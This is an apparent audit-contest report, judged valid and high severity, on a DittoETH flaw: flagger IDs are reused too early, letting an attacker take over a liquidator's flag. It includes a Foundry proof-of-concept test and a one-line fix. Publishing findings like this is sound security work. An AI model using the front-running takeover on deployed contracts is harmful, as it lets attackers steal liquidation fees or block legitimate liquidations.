DittoETH

Ditto
DeFiFoundryOracle
55,000 USDC
View results
Submission Details
Severity: high
Valid

Flagged Shorts can be taken over

Summary

Attackers can hijack a Liquidator's flag during the priority period, leveraging a loophole in the system's design to minimize gas costs.

Vulnerability Details

The system, aiming to conserve gas, stores the id of the flagger instead of their address. Given that it employs a maximum of 2**16 flags, the liquidator has the option to re-use an inactive flaggerId. That option is available when the user was active firstLiquidationTime ago. Since the flagger has to wait for firstLiquidationTimeto perform the (primary) liquidation, a attacker can frontrun the Liquidator to take over their liquidation flag.

The proof of concept shows an attacker overriding a flagger’s ID:

function test_FlagShortLiquidateResetFlag() public {
//create first short
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
STypes.ShortRecord memory shortRecord =
diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
//flag first short
setETH(2500 ether);
vm.prank(extra);
diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID, Constants.HEAD);
shortRecord = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
uint256 flagged = diamond.getOffsetTimeHours();
assertEq(shortRecord.flaggerId, 1);
assertEq(diamond.getFlagger(shortRecord.flaggerId), extra);
//reset
setETH(4000 ether);
//create another short
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
shortRecord =
diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID + 1);
// first short is in firstLiquidationTime (~10hrs, +12 hrs)
// and should be EXCLUSIVELY liquidated by 1st flagger
uint256 timeToSkip = TEN_HRS_PLUS;
skipTimeAndSetEth({skipTime: timeToSkip, ethPrice: 2666 ether});
uint256 timeDiff = diamond.getOffsetTimeHours() - flagged;
assertTrue(
timeDiff > diamond.getAssetStruct(asset).firstLiquidationTime / Constants.TWO_DECIMAL_PLACES &&
timeDiff <= diamond.getAssetStruct(asset).secondLiquidationTime / Constants.TWO_DECIMAL_PLACES
);
// flag second short with the id (hint) of the first short
setETH(2500 ether);
address attacker = address(666);
vm.prank(attacker);
diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID + 1, Constants.HEAD);
// flagger id of the first short is overwritten by attacker
STypes.ShortRecord memory firstShortRecord = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
assertEq(diamond.getFlagger(firstShortRecord.flaggerId), attacker);
}

Impact

An shorter can stop legitimate liquidations or a liquidator can take over liquidations to steal liquidation fees.

Tools Used

Manual Review

Recommendations

Avoid reusing a Flagger ID until after the secondLiquidationTime has elapsed. Update the condition as follows:

function setFlagger(
...
uint256 timeDiff = flaggerToReplace != address(0)
? LibOrders.getOffsetTimeHours()
- s.assetUser[cusd][flaggerToReplace].g_updatedAt
: 0;
//@dev re-use an inactive flaggerId
- if (timeDiff > LibAsset.firstLiquidationTime(cusd)) {
+ if (timeDiff > LibAsset.secondLiquidationTime(cusd)) {
delete s.assetUser[cusd][flaggerToReplace].g_flaggerId;
short.flaggerId = flagStorage.g_flaggerId = flaggerHint;

Now the original liquidator has priority to liquidate the user.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-533

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.